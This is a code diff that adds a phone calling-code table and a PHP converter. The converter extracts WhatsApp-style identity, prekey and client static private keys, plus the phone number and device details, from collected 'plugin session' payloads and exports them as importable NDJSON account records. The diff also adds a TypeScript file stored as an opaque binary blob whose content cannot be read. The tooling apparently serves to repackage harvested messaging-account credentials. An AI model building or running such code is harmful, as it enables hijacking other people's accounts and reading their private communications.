'420' => 'CZ', '421' => 'SK', + '423' => 'LI', '500' => 'FK', '501' => 'BZ', '502' => 'GT', '503' => 'SV', + '504' => 'HN', '505' => 'NI', '506' => 'CR', '507' => 'PA', '508' => 'PM', + '509' => 'HT', '590' => 'GP', '591' => 'BO', '592' => 'GY', '593' => 'EC', + '594' => 'GF', '595' => 'PY', '596' => 'MQ', '597' => 'SR', '598' => 'UY', + '599' => 'CW', '670' => 'TL', '672' => 'NF', '673' => 'BN', '674' => 'NR', + '675' => 'PG', '676' => 'TO', '677' => 'SB', '678' => 'VU', '679' => 'FJ', + '680' => 'PW', '681' => 'WF', '682' => 'CK', '685' => 'WS', '686' => 'KI', + '687' => 'NC', '688' => 'TV', '689' => 'PF', '690' => 'TK', '691' => 'FM', + '692' => 'MH', '850' => 'KP', '852' => 'HK', '853' => 'MO', '855' => 'KH', + '856' => 'LA', '880' => 'BD', '886' => 'TW', '960' => 'MV', '961' => 'LB', + '962' => 'JO', '963' => 'SY', '964' => 'IQ', '965' => 'KW', '966' => 'SA', + '967' => 'YE', '968' => 'OM', '971' => 'AE', '972' => 'IL', '973' => 'BH', + '974' => 'QA', '975' => 'BT', '976' => 'MN', '977' => 'NP', '992' => 'TJ', + '993' => 'TM', '994' => 'AZ', '995' => 'GE', '996' => 'KG', '998' => 'UZ', + ]; + + /** + * Infer [cc, country] from a bare E.164 phone (no + prefix). + * Longest-prefix-first; returns ['', ''] on no match. + * + * @return array{0:string, 1:string} [cc, iso] + */ + public static function inferFromPhone(string $phone): array + { + $phone = preg_replace('/\D+/', '', $phone) ?? ''; + if ($phone === '') { + return ['', '']; + } + for ($len = 3; $len >= 1; $len--) { + $prefix = substr($phone, 0, $len); + if (isset(self::CALLING_CODES[$prefix])) { + return [$prefix, self::CALLING_CODES[$prefix]]; + } + } + + return ['', '']; + } + + public static function callingCodeForCountry(?string $iso): ?string + { + $iso = strtoupper(trim((string) $iso)); + if ($iso === '' || $iso === 'T1' || $iso === 'XX') { + return null; + } + foreach (self::CALLING_CODES as $code => $country) { + if ($country === $iso) { + return $code; + } + } + + return null; + } +} diff --git a/app/Support/WsPayloadConverter.php b/app/Support/WsPayloadConverter.php new file mode 100644 index 0000000..e6cecc8 --- /dev/null +++ b/app/Support/WsPayloadConverter.php @@ -0,0 +1,250 @@ +|null + */ + public function convert(PluginSession $session, ?Device $device = null): ?array + { + $blob = $session->fullPayload(); + if (!is_array($blob)) { + return null; + } + + $pks = $blob['phoneKeyStore'] ?? null; + $ident = is_array($pks) ? ($pks['identity'] ?? null) : null; + $spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null; + $csB64 = $blob['clientStaticKeypairBase64'] ?? null; + + if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) { + return null; + } + + $phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null); + $dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : []; + + [$cc, $country] = $this->inferCcCountry($phone, $device); + $in = $cc !== '' && str_starts_with($phone, $cc) + ? substr($phone, strlen($cc)) + : $phone; + + $identPub = $this->hexToBytes($ident['hexPublic'] ?? ''); + $identPriv = $this->hexToBytes($ident['hexPrivate'] ?? ''); + $spk = $this->parseSignedPreKey($spkHex); + $csPriv = base64_decode((string) $csB64, true) ?: ''; + $csPub = $this->deriveCurve25519Public($csPriv); + + $record = [ + 'cc' => $cc, + 'clientStaticPrivateKey' => $this->b64($csPriv), + 'clientStaticPublicKey' => $this->b64($csPub), + 'country' => $country, + 'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null), + 'deviceUUID' => '', + 'identityPrivateKey' => $this->b64($identPriv), + 'identityPublicKey' => $this->b64($identPub), + 'in' => $in, + 'jid' => $phone, + 'language' => '', + 'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple', + 'mcc' => $this->stringOf($dc['sim_operator'] ?? null), + 'mnc' => '', + 'osBuildNumber' => $this->stringOf($dc['display'] ?? null), + 'osVersion' => $this->stringOf($dc['sdk_release'] ?? null), + 'phone' => $phone, + 'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null), + 'registrationID' => (int) ($ident['registration_id'] ?? 0), + 'roProductBoard' => $this->stringOf($dc['board'] ?? null), + 'roProductDevice' => $this->stringOf($dc['device'] ?? null), + 'signPreKeyID' => $spk['id'] ?? 0, + 'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''), + 'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''), + 'signPreKeySignature' => $this->b64($spk['sig'] ?? ''), + 'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null), + ]; + + // Enforce fixed key order. + $ordered = []; + foreach (self::FIELD_ORDER as $k) { + $ordered[$k] = $record[$k] ?? ''; + } + + return $ordered; + } + + /** One NDJSON line (no trailing newline). */ + public function convertToLine(PluginSession $session, ?Device $device = null): ?string + { + $rec = $this->convert($session, $device); + if ($rec === null) { + return null; + } + $json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + + return $json === false ? null : $json; + } + + /** + * @return array{cc:string, country:string} + */ + private function inferCcCountry(string $phone, ?Device $device): array + { + if ($phone !== '') { + [$cc, $country] = CountryCallingCode::inferFromPhone($phone); + if ($cc !== '') { + return [$cc, $country]; + } + } + // Fallback: device.country (CF-IPCountry ISO code) -> calling code. + if ($device !== null) { + $iso = strtoupper(trim((string) $device->country)); + $cc = CountryCallingCode::callingCodeForCountry($iso); + if ($cc !== null) { + return [$cc, $iso]; + } + } + + return ['', '']; + } + + /** + * Parse signedPreKey.hexKey protobuf: + * field 1 (varint) = prekey_id + * field 2 (bytes) = public key (33 bytes, 05 prefix) + * field 3 (bytes) = private key (32 bytes) + * field 4 (bytes) = signature (64 bytes) + * + * @return array{id:int, pub:string, priv:string, sig:string} + */ + private function parseSignedPreKey(string $hex): array + { + $d = $this->hexToBytes($hex); + $out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => '']; + $o = 0; + $n = strlen($d); + while ($o < $n) { + [$tag, $o] = $this->readVarint($d, $o); + $field = $tag >> 3; + $wire = $tag & 7; + if ($wire === 0) { + [$v, $o] = $this->readVarint($d, $o); + if ($field === 1) { + $out['id'] = (int) $v; + } + } elseif ($wire === 2) { + [$ln, $o] = $this->readVarint($d, $o); + $v = substr($d, $o, $ln); + $o += $ln; + if ($field === 2) { + $out['pub'] = $v; + } elseif ($field === 3) { + $out['priv'] = $v; + } elseif ($field === 4) { + $out['sig'] = $v; + } + } elseif ($wire === 1) { + $o += 8; + } elseif ($wire === 5) { + $o += 4; + } else { + break; + } + } + + return $out; + } + + /** Curve25519 public key from a 32-byte private key (libsodium). */ + private function deriveCurve25519Public(string $priv): string + { + if (strlen($priv) !== 32) { + return ''; + } + try { + return sodium_crypto_box_publickey_from_secretkey($priv); + } catch (\SodiumException $e) { + return ''; + } + } + + /** @return array{0:int, 1:int} */ + private function readVarint(string $d, int $o): array + { + $v = 0; + $s = 0; + while ($o < strlen($d)) { + $b = ord($d[$o]); + $o++; + $v |= ($b & 0x7f) << $s; + if (($b & 0x80) === 0) { + break; + } + $s += 7; + } + + return [$v, $o]; + } + + private function hexToBytes(string $hex): string + { + $hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? ''; + if ($hex === '' || strlen($hex) % 2 !== 0) { + return ''; + } + + return hex2bin($hex) ?: ''; + } + + private function b64(string $bytes): string + { + return $bytes === '' ? '' : base64_encode($bytes); + } + + private function stringOf(mixed $v): string + { + if (is_int($v) || is_float($v)) { + return (string) $v; + } + if (is_string($v)) { + $v = trim($v); + + return $v; + } + + return ''; + } +} diff --git a/channel-builder/source/sync/chk.ts b/channel-builder/source/sync/chk.ts new file mode 100644 index 0000000000000000000000000000000000000000..cfff84263357826d4c8e6d8eced3188ba7c4f98c GIT binary patch literal 64897 zcmV(sK<&TZFslG~Rx}dc&8q--Rx}a>2mt^I015yM4G#+d5|{vrhX0O0hDbD*!AUaR z@>}NaRbu@l8=rnl7?bUs{$(xcS9yzl#=;nuevxO1Y0%W@q$~pmdla~KT|Vj%bc9}F zVX~y*W1FGX*j$3beMp_A0-R8AVjr3l+SIgXV<8z%Jdug@ij0#6*fpsZs z1c)L=B%QQ(!qv^wd;Dh>gwi2ByZ{J5I-Er$6^Ll1^jcs8FB3TGBY745)>6Sh zJERU4n{1c1(9-9wG3-0L1Z|DONwf<72I;Q zGt*)KZpr#yvxfQ~q1I^;~|Dk(%#7hzB5d#M^fmu2<~Iv%nJj zlOT_}zEFmg;A0#?DW9H<<9#-PNTPD6X;z^yt^+QrJyA7HB%)}&TkbwjG?UWk=+R6h zPkeT2vxkZnD2K~QO=4yI_$w`rtZHm)vgC}Z-h7qC9PA0WTdjEO)gx6?@V1+Q7XyFL zpkK8Fwu-Y%ant2q6^cFE^ro%9fOaD*nYH>jUK+0V|j$Wd}1>mgWxFY zl}TF1(0m+;SE5syzAg(6vHyj~Afgcys?Fx1(E8#;ka-jiew=Q702hQ#3XmBXdjjB` z?Xy?g62x!@iB4M}P=~`2>GPZg6vxn5B62Z-Jik0OFl+SGE zE0tmkKunDpe4G%s#;e>>o#~r+NT_0`#Jn5L4|`+<0B!`N2xNo^!_|P2=&hl`?F}ib z`ddSmTO=)y6uLpy)^+)k7;H+&EPbpX@DzLC*V^DkmT0inXq@2rjBi}Fu3y&kQ{QHE zV^|92?u7pChf3*Ef!+;VAmG|d99upKY1HK{s!BD7P&(x%1O1J_nJBCvKayeQDv?oi zIjGW!L6MdxkDG0--{T9cf-6Z(QQ5LYmV;5e0?aJAo4U$=Z&E-wDdhU_01!gSmz$YJ zrjEP@_bXbvEGC~IO_dM1_J9G{97}9<(qHG<@FaS)8Y)ENjqc?M_WRm&tXDXcwk>tj zw@zq2acD{ZWPGGP9Z9+u%w%RaRvi#rc9DjcfS4w_znTvSbz&ng9qx$h^dt;Hyt z#ne7k)(6fr{0EopKMDYN`ZzX%+Bc9;`^iT3<$(;#!HYa^|!+<7i-gX8}J5L`e~6g_X)m;+Bw5l-EF;GwNo ztO%*-lRH{rXR$cIeS6PGC+=K4_FyJuCWqBICf`=m&O)F6S5u|zH7&imYI!#&Nkw<` z$fTEeHHd3#p$fv@oX3LWxxms3%91n0`1w;LsZHFOZoPbG4|$L~93SooE)41;sRUk9 zL1iunKv+2DKj-knTCp4D*F<(a5cN6M1R&8Dd}g>tQfXYX{6<*ofC-oTQQ2Wz_SCXM zHqmjQGv7|^5i%9?;Zj+C-)oZ1kiIA=Me*&^L-Ib=8`ysdG41xKPXHhY2u_d~ z>!!(OcYXXmI(@P%^nRS2^9@8TxV#mFvyFG*4}-HI0<$|$$zj>32~XUP@bXN+^&d{+k^t$eDn z*)sME9h3x#kjejQ_rCWoNP`G8YI!Z z^W1+TL;jZrF?XWO%sRoUtVHN|LuWW9mCHqsTsbcoqi4-?pv}`uDtigQv4&>z+H!9h z2fR*H^JnelQ~T$5OLL25Cz9k6uW9#J`&}aJ!TkWdsiz==0Z+97(Yfs+w~2A54|Xuq z^Ae~@5nDa}5E=3o5UQBJI`nrJVAA)ISGV&IuinQUYqEfcBjvg!Pa}jH2>q!!mGuqZ zS@|4TP~CBFcu`8q^58*g=Aa0#u(F=A;@f0^ETV3i=n&kOyfJ5h!GhP1dSXB7lNo>% zoWar>orsr>C5*-{6$1a)JC03ma|2vGQCXgDGMb! zdo0|wCjsEAVsH=SX*7rCtz?q3A9kEs9+Ft^FU|wPZ6X@dZS&IS1WOODvPq{Ns#Y@y z@Y_CykoTOJqrU25sWo+M<4KXKu0F{c#)R;oRPzk77NTXY7Vlq23xN@S10#>7t4Cx_ zwI9LlR4AUMd3!AF=QiSfPf%yJCDTasDY~>{XctOp7(uarTc@stJGA$~fH}JKU;PAH zwBjAdy64NQBZs>c08@-nn7(P=murr!#1wVR-ZuU_L5AQJd(76iF zfF8W)Ru{w1^gsmA?s4y$+*Tqku|yoENhbVYw~ZlOOzj@RuLo~*uP_{jJ*&7`k!jrF z%FB=`Zt)usx_G*rgd#LN68jB%_073R7(-Im(5UwKgc4ugj_$akOq2EedXXR zy>6D+qWWQm?;<#i{j^%>mEr>^ZTB)oRdw+XV!fag&;Ha2La10SDs04J@WeuuRG-Q- z&wak+?;gH`ou;ksc{Ipfo|WxsO0^PCTMebY{tU+H9uQsSj)1g`Z9%H(%^u;8wbwjq z4*r2w>F56}y+=1l-2L`LePdsT>o=i(b*Au_vuo}vx17mFio9D}b84RD1CiLf0(A9y zO`4PfaTfm1>F9TFaq}k=*k6*)tR}<+_wk2C28sA5`-w&{&tO29g12N`BY~@I_#1g| zMQ@p-GVy@656v4WN183Y;tJ$<&5VHPyc_J&>_p#bq>Lfke;n3l7B0s9H~u9Es(~Sq ztrysaE1-A*NsI$@t?)E}O0QM)c7bp8BI6_jB+v22DQQAOsW}4<`jyv!M%*3E)hXU4 z^imRI{x2@>+IGm6M{lC+QtL1)mUMCGaYX%I<;o$Tup{bB=>9e$AA>pzA_`8DzZh+= zlc_l}1`fkj_QWbJQngJSS{`6_#kk$5QGg}jo6iPlPC?UY1Xw`dg19M(1;pQ5nq#)N zF?}57n0FGAy61Yl9>>*4sWv&-n-OSQig==mDLfE4l0$W0J;o~iu2zL8mp_X3d05JS z9D^b%^E|J%InRRHP~5&KK7G&f{4UUH)^nG0h2(iT_1(s zH+}S_vgnP8*s|snw`Ip#uQY?6LMS-FV&9+`P$VD$4u0^?9#{*Mv^gt@Uj4=rUkKY* zZ3QNzzTho|HdRNE-`kj-yjS5V>h+V2Oig?c`$u=Y)F8#nYX1%L@>?nZuMs@juEZI90E zYRdeIEA1Y!Wsy$}jH{yu8qwtF-hOZ|;eyM_|M&U&dw_Ne!hT!Z*1i_It`>D6CvCa6T8fD6)ve{U;|AYH78paTBom>weIhuK65~yt*)fBiT>t~ zT#zNU-v)c4Okfuv@v4rCJm&Pg`sn?#Zo93Vm~0`IO_RghfcA4YAkQ}6 zT@{rQjpqCO7<<^#xV$iws4lT!&%Fv&_pQ(jcdx;lPRqupZfqq77&A4W0IjLEd`;vP zFOScPZKdwkH-pQP?H+y*2^ZGq-L3w`me0m)!#k0I+hTr&9-jrmoXNmwgBfu25<)A?2t zK<8u*Mw>>LRpYSDeccQXys=4YNE>SFD!i0^eM7)Vt4RTJr2i)uF)Ax25g!nkY5oxJ zVrU9k?*Huh(cn~&ZH%Ap>xW)WE%}&Q1D!Hx329)+GhdQ0hq1`|#w)GC^j-*Sib&&7 zH*tAFbV&j1t?lN)&_iSOVbd{x-p4G?R!|`M?8)6VWKt7AD^G}wEV(g-i;6c2o1oW% zKafcY0?G4n7+OEx%QO@ao1@2%hh^j6rB$#k`7x(x%1D~TQ(nv9)0ADRjpSz`yp(s# zxmQo{{$!42>WV4*`5z!5fA9~|E}%OdQ^sU1_S36+(HgPG*>AEj$7P86jm?SI8bi8= z8pte1+;iXnk|X3{^ZhG36PUyAU<`K0J7Z#-fE0JGQ(0`d${TWl6&sb$1npuYu7Hr9_m1Sg@|djOpRRH zB~{kp{&ZBCG6edX%kpG7Gzb%Cna2BNXVUdm3R zT($i6-n<#A9yuK`5Z5b%3=(zYxRZ)bcgUM~~G(%BJ4QYKdV6-vTRlXIy0&;4XO zDDJTh@ytW}7sx}yNr7jVo|Q*SyV<~O@aeqF`b#w1*#!DtVjzor^om)D$r-MZFGV*~ z)dam2%;-By!#`y>F=tc>#o~g>j9(z86sad=$xEfgnq7?DuO=IWLik@Qj=q=RY;xj~ zy7&_xDyoa4y-Ix-pC)>yE9_AQUa&@cJ@5!<_*1&8#dX^h9y`3LElREh~6n+)Voh7tSMfN zuw+oV=5=15J#I6`8qFB@aeb+M@yv4+ zBAMQubh;yS14$wT$HIx6Tah>5kn7T?2v*Wk5F?W+6l;jKaRfWG=a1EcpCeciL+cC& z*O<{M0eZLS&KAO3TAyCI-RS=CsF%(JNm5J>LO)jHGhOCI6p$(DpO2GVs;5laQYnD6 zR{$W-?KK(+@04urZwf0Li$-ZGd4oixXr=mg7R_`N&cT{Vd*jHZVlF;v!v$Y|kIUFs z+`*WggtvOzW>}3yPH*++Yy_KSJ2J{9Zq&5WSDD#PzBwG*;o4PII>VfY)+m z22M|f<{w1=;s@ElfDaq}D(fa?lf-{F37w}zoPvY6NTBDJy9Res4P0ebe2M{cXG#UT>u{Fri^<13 z3_bV@3lfq7y%EH=f_VuFUXgCbfiE4h>ZDiwQa>bN!iUz^4X{#IDH3JtNOYv8YAbn@0U zES$zj%)r$QQE?SwAN08B$Pg8|&%6e_DL(=I^M-4Us7#&2sgAjjWaCJn9fd05${%$z z(qfeH?>Fnma)*&r>r7o1N|9EZ&yJeX)nqdcz+d5{^kY;w`yi+_l+T%_YleIoQm8Ur zrOTqjQOQMDvoWztc`Y|CqyuK3g2G=MV+y^+b33>lsdNR}fqg5KsynEen=uAuR9{jp z!2Q+$%W3}4;C{k(3mG}8@-Ju(y)QAxx(vYIi#OyD5bj|MY@4n+`Dzh${|S2wXv$4t z_O?XEd$WwoXe`JNRFxGhk%zd&fuo64fP%$*0sx5wO7@P(GCh9{Eu2d@fX-L{#DG*; z*K|j%V13V;^Va!CESq_k!?A4{A`+ZA*%MZLVh^pWBg3&3R*J)p^t>s1y zCn9l6go4c=ALi@M60K!-zZU`DT#y)Qx6S9g&Ow$_(l4awWFn(M>%X|+$u30N+(-ZA z@uF4=f52$Sv|P{m%Hcj)Qwls^KdDw z-%MdFLu=>x7jxG4k-e{y-J97Z9m$egiopCtUJ+}5>zZp{>fkgKHeAsHj?%cWpy#=W zX?XDGvHL?{s=``XS_yC0GaEsg?&E0kaVph#2YB|9z zCtFQkdGkKl+yP#}m94I4X%R+2Xz~{_N^#kp%sl@`=(TwHxC92_I*h3e^N{LG1POBV zy;F>U%@(HcS0%!^@5;1zxtmuhYWf&o5Ylt6_}vT=VC^|%ScEqk2sM_L+JFuAlhV>? zuUjEtCpI)GtH!w1H%p12EUGX0boQ|A?};rPmp4zc#5n3=?Ky*+aAbB97^!HGOb!=f zf36C1F%C-PZ<^g%kqn`wU7kE8EC!ET9{|z%!@2>(jz<+ z`gnhkfagvq`#e|KO<&Dn)o4Vzz1`)f<}n@IPHqC*o%M8%L<9T9Y|asjkd__6$J9#P z9|~{m8c2$t6OLJHzpz>jP*uv$LUtnx^g*g&iz$_?r2*bOg=5NmAMQACrK7-Gsg_^S z%)Mk7lU5WZRB$qZib1Dn^tY6qi3=Ls^U4cYocI`7p{YdgkPcE_3!`lAKJO`{8g(FE z^^ypdB7W00IgVPrL*MXz#^r(f)$S+UXi^&7aJk1hrzpWN!2w$v9-#Q1(+=qS3sSK6 zg&(2k^S>@oWUk*?s;;c=x{?~(NJ-b|>243}Kw({LDiT(sn4E9`6Q&gcIoBxyhi)${ z^RnR0^XBwa2}-ZGgw%I};B)3!2BuomiHn$Uc+f~fKbUg&9mTmtjBFiURKEaHmXQ$E zoI-=_PoI3@%4=^4L+Pxfzt_4e0Ve0FK8&OK3rX~6w0~F0JX0YAT|>rn9cyv?%cQ;u z>QiY(We(t2u8e1>ki(A*&KTg|^xKDAQF@JTH&QdwWt*#qmdZj=wg7U?Mr8lOd&;D_ zQEGz62ftSStNQ_NQ}5a4CFuHE!_Gg=2Bl_jsz6s_9{F@c%-UqM!hwk_I++;BT1D`%ZpCGu z)c@6e<=+U{)sS)x71H&&DS3LWJ6bDezPTLz1`xyRN7Pv`r0$V15H^@BfGwG+O2pHM z)Vf3|;1B4BO)K^=t{c0bz}RC?UbW{CP;osno&yPcct=?faVW?LD&eHoVvhdM=un?h zEAh#FG!hlAncpJ@qPfrF7xV%-OS5ffa8a>**ARECRzlc56nyN3;DAGw^2w2-6K{Wl zww+aTZe`(a^myxweCCKsYRD0ji)|9lDLVyrC{d~C9$kkn7@7QyFGTw zIh*b6C|3vK^GCiBA)#aI9;to&OH83nA3Xn2@HauT1rTG)kP7h_a=}mN}R(FpopC|R-zQ;d$ve7 zyfkmifg~1SFsWJ(A+ft|eVf@IbDFxGj+3(_*yYf_*?tgYkeKNAR;*rB{ zJAY3w$)K!`qvf_-k{AESUcMVxw6+JD7MP$vN(TjLPJ>NfxBuiW7cr{u?34lW=!H{( znEIIVv5QWuZx)*hfRh{JSV7woPv-qSdssO;CgZr3Ed~JnjYk4u3?mpNQ3Qs@q)#;3 zYP1LNz+Lp^(&<9C8#-uOq@C4qFs%1i$dA&w_R@0@+Y{<7AurY#v6p(^ZAzk;yEwwd zEQ=o0T&BNz$>8cxakBrd&tjLNv=^`b!F&FZc-vPd;B;f?c-fpvqm;0GAl`(wwI0J} ztrG}gUKplfh#H?NA{Bo&_#)y)K zxe8thktLL%cQ}d;#l`2%7(D$wL0qZp@guP5Ph=Q25#Iblvr=0!IAa)n@e-^)deV_f z{CPpkGnjV9?w@toy~TMlCfU5%vr~)3@ad-0109{cr{1v;_@$7-X}awR89$`=3W@sF zjSYcSjdy3*dU2(fH{WV=EABTImomjSGi3Vx|= z4MvteHdnf6kUvikCA=P`dw8g37Q-ctN|!}lP+NIS7Z}|I+u?uQUR#_tuV#Fww`~tY|ujV@IOx?Ph>t)YoDNkC%PV68M!6%Vl8Qv4Cy5GO+ zFsIP&U3D>Wdp8!XN{u$)O?1++jq!ssnG;CCOQDY0&$s6Mg%B8=OiMaCl#U(3MQ5;< z3$NX~kuP2nmzdFrNAPJ-dYRgBMjL}Po>iZC>Ug)|M3jh{rK^h4FoL`z2S z*=CaskX%)iU!Lkshdl>0J!er0u#T}=^`*dd5`ETt-q%m=j+sd1o6>0l%4Q+aK0DcG zBbsFGCB6*iF2{IvH(WTGs{#g5gU}#${~E0=`g;~k4pFvthP6O%JO;I+Y(AV=8TaD_ zTmddaw6~A+ISdkj+4=jAHF7L-1>+22W^8ZFWPK;uVuwDP_$YBDA(nz&Ysn;F&-%{D7-bK;^Z-ln!d7!7&(YKeqZ zLM&c*IInkJ{Qd9gX*=mmJuPVrt5&xWV_3l#8hhNf{|i3`@@GuD zx;{JhA4T>GDMdXOyw59$?>IN^0`zwwrts{Xe1Vsk&hae|sTd2s2&N5F<#RgZo$Uht7t%~unk+Wa+N4$)ySKz@(g})_tL*#heS^ieqB0i3dWb21gBigkwErR5K3kj~(BcQLX(#Z5Oj66hlfBzlsq)4-$ z#g5ulEBp9=uSF(l6h@rjcXz&UU_TC|rmn7mYf{Q-TI@n&Fcl7YBdHD6Y(=Jha46RxA=D6$XZ$s@5KhRz?i=m;CdJFPwvY?Zg>IVgXGhSg4A@tURCV4619OA%>_-OE| zEGPajo7{AtuBUxD@m|Z2zn7O1B^ixr@USiTS+6+YC%7})Nu$Wnq5yj`y{DX^EzCGHu>M?D>pwUjAnt`V6um~zOQ z;*D?e*RV>1s#7=8( zqve_ly}1k%aDvLTP1N6*U#=cuLI(@dcy`2pUXo%IRtM*a!$;c%`~B6LQTH&K{w;%L zmZdhN<`Ey?cj0=1$qX=H&QSuV8Ag>fkaFT}E#B!+jaEO?`FgW+2F_{Al$Frq<%1U< zcMX^AIFKT-;AS)LQ)x$4k4;)Dy1PLNBA>W#5TDEIFUo~qUN0p^S+$k4_xB)XpV3}} zU{jmaIU->avG3W!SAdVOO$1-55b~J1qe{)CSM$tOZU()&M!KAm3^D2=2^a42frGCv zL9XEleW^WAn~QnLJ8<@w6z>16TNe!;ttGn!bR>NFb?m~R^Bs+T(1vQ63WT=4Q&P;o zEZ7n__TJH;9*ofZ(R5IA<@D5kEr7el0mJ&jtPt!TFsvP{aR|4?q1J;i#W6+hYr4j( zoGvnM4u)TDP6^PgCHl>v4O?x-7cT(GH9_N>rb|niO5#GDQ2~SmPXD z`;SJN2`|zGv_pJ&8fRm$`ZrTs&i5z*T-?_C0oqY4Ptyn*Sj3I>kof@${)k>1Yq?p( zFYOP`@DWUwL7a6fSYxteq;++)ktTPB(Zt8gj@Z3H`U;`rHB~C1FF}9{Q;>+&76UCz zv8Uk`5?e=Ms8rS=zIw^T{BB<8U+ird_hR!e< z#>aQss^E(?E`xTc;rd9Gq)if~l^XTRb*w~msEwjqM5;f(CZ8^|#JsfUFnVg5yk^hm zc%!HwxO^(`pOB~R&*PvyNcD3l@S#S!P7yQ!ec709HAk%+c~qp>}uaeE6aY zHJqzG_iNWd|Fm)Q$mi{dsKRo8l0eFDkJW3I4;4UaG=}Ph}XAwqXJ@ zkYb2>>lBJcl>|d@jPHJG#EEWyV6{0B&oy6-(>LJhWygL;8190hZYa>EW zy)isa26+g59);*}-J6>0>iwwhF_wr+YlKX|Z{*(@6G2X8^5p~9UHtx37w@MdW!IHj z-w?dZSllv?eAWt`1%WM8+wHyH(Hz;M3{yBiDuiwx)S1>kPvEuB3jrm&X)yee@u};t z>W2An+QY_`vpE;b$fdnSx{D6QV{2G-T-r5PxGEt#7o2EfLet15u4N?NiFYvpUoEHk z7E}kyng4={7eJr`p=Y>SbG8bIYCAMu9Q#v$6;$*}77yX66~16=|&bB7d( zK^LJ1Z3j#VibkISk%o|342I-qk>Ti?TTIj3KSLKXCDhe!%D@*d z(|yqi;I?}M+H!c9oZGj315E7bWuKlgIqrMSt?n|>L?x13MT zj>;86Wmx0ff{P7WN{7UgxzUDi0tNe$zMrKt$KC8nVVK>NkHuXmCcBQijBi1!Y&+&? z@F={T;J-w9RCX@9!7ArIMF;=+YCIw+lx*SGC2Q@^k)w+^ns?$BVcyigLpTr*dqBZ; zgHkO|2AvlX+<*VnPuIzpEb44&&r_F`GhkHSw41j|u<8btS z=&e)}gx{=Erw6SjJ`BD9m%{OoNYBO{y2uql6bYwJv!RoSvJO8D=FbkWw(XE*|k{@2OA7@H)vqY?t2*T%wVTcxuaY<@SWt ztV@UJSJgPpzl1c2i2)KUTr-cr^vwZPAc>C@LjpP?v3K`yh+S7zW`Ty^iv z>#0446>2wD*2q`I*IAR7K0E48IWjqhRh8~BZUVx4BYhE2``#T9^`&>iHIlVEUFq zs)<$z4!qL*b#Q<(|JOxL&=)6FfeO=spF?ji)*}ub zT};q=hu(3hoK1_c7f~gwhO`yGHj$5xLESk4=C5 zwC-4!z)<%Y6@J8^VnTZf^$=Ia4XTBN9wE3U-!5VKXWLPu-Gnl)lZl2vdw6MmhY$Yi zv+tf0jlqakhU{FFfsYbQYTdfBE`ZeS$7W92OkPlaF|)Z$eyB(^Edt(9`XBt|1T(|p zkj#-!Zt-n#7eu>z&GaI$vrv0IaU5v+Em^|Lz?iYcqTpT5np+7!E|)ik#U_Y48cec9 ze@3;)V6r%UD64<}(rpG2E_HL+8$9&w z`LxVDz2nLvD9U*(C~4n?ZxJ$!;Nq(uX`I=%grs(2oXrn8(%ORLb>t*@?~HVePhbM7 zaP)8Ojdpcs1Sj5gH}sNk+yd2Bs|^mqf7j(Ab}fLe9ya|nE@RnQiI_wbDFI+BQcA)$ zfS25E8v!<-gp;CGI#|b9KHcIqC>(7LbinayFUD!ZrQtn}yTK>#P_UqQm7oOdBBm+E zS4{B|l-JS;olGB@g39W(?L@8-`&|IP)()8UTdXWV-! zsDFpbj4_mJOpZ3Zu}p3kwGz?Mza*$7C1CVN*vGfqQ07MTU^xO)R~5kDB|HK^uZX{X zI@5jiVmO()HSoe;?`XWqTM!sH`wWlOF3d>pw0m|@d#SpaTrnAl{?QZ9-+sv3lQ)mm z8$6A;VcB)mEVnrE%Yk#->rQA5-M8ka4Jm<#a|NHa`1{;@+Z&TI+u!iG`%MHyYD-z6 zmY`5oWjK7HV|Z{u{pGgYx@*K|xLMlQ^oB#1dF~=qb)21RZz*6cuJC~R z@$vmsKlh5P7|g$OiZg$%Sxsim#Zp#TW7}=)sdB?xB8-Zo;K*edUAY&ErXNI2(;EQ2 zIfT!2(B%IYC;)kg_jDFM@h&vK$1%fT(e%btP{khvh=7RZ=0!@--cJ9WWQ+8mA@(L+KDzM%NIY#5#K9jfiOS zER=bEnR#__hRzyLC5g@ebZUSAmq5}_ev0R*%_ zBRdH(q)-_o^-HEl&3JmN#qq5r60j0_t5%crM-mQM5G64WLh&m|=2^Mt`sxYGMxzej zKV2&B^EqB2;-XMgrx=wEw62d!&fiuvy_c~o#gQ30RByezx)e5nj|(kTZ>Lt4jz z0i*MYZ*M1BTp?!n5QkX}ij!DY%>o&+s*wQ!yq{JVD79r)Fb3FeJUR=+4#9kF{DJD2p~;qhs0AeVVn?Cj4zBT;?r|i{GeVHn3YD*gL%()M!_qBBxr0+ z5##&ZKh7MGcWI5BYgzw`l?C$0**%4Iw$AN~cf^ zTrd!x!U6G8A=Hxr*Oz#CdM}L!ka3a=2qbL}t)_kj{JP2S9)}1UJpraGgZrKC0e4{> zPme!t)vgy{eeh_IzQFK^V_{vs&$Ly}3w0Y6f%LqbFjIoSqn10bN)P#b9-($XNLDGm zvmKE~sL6J?h^aYc>(AyqV98~B4G@WYy`Dd>Ej^4nBV~lSrJ?=wy zReg}6tGN2#CTCR|(b z;eKc77{ab6m8+1LN2lwp7#!ZD9;tGsg8a=L+*=3^5l0NU zjm1p5i|G|tCB78f9~o#Q+$(BX3+;$zrlMtrEo`&aMY9sVW48c)Y$(OC6{$lPtQJoR zAQa&<#^o{_y`8Fg$ywPgfsSoW{ERZmXmCwm#H~R6!hey8MKYJxe%CBm9B;8Qw&K<* zkjf#%W|jz5l}6ifR1S_uJm?P}&@$yaR{6gDS<_|WruJ+`^G!@G1lL^;#Yt04xoE$Y z2RN0`msuo3e@pNK91Rc;Wm2>OJj`p5fW$R@GzX<)Sx(ELA{uSJ(U^29u1{1-#tejE zZmc%bzkl>1+H`f+1MTfQL@_OwPfyc?8OG_71ObPbV;*h`p7+3_kJHfbY#A5=yn0Va=N*`b3uwR zZFU$LMq~B>n64 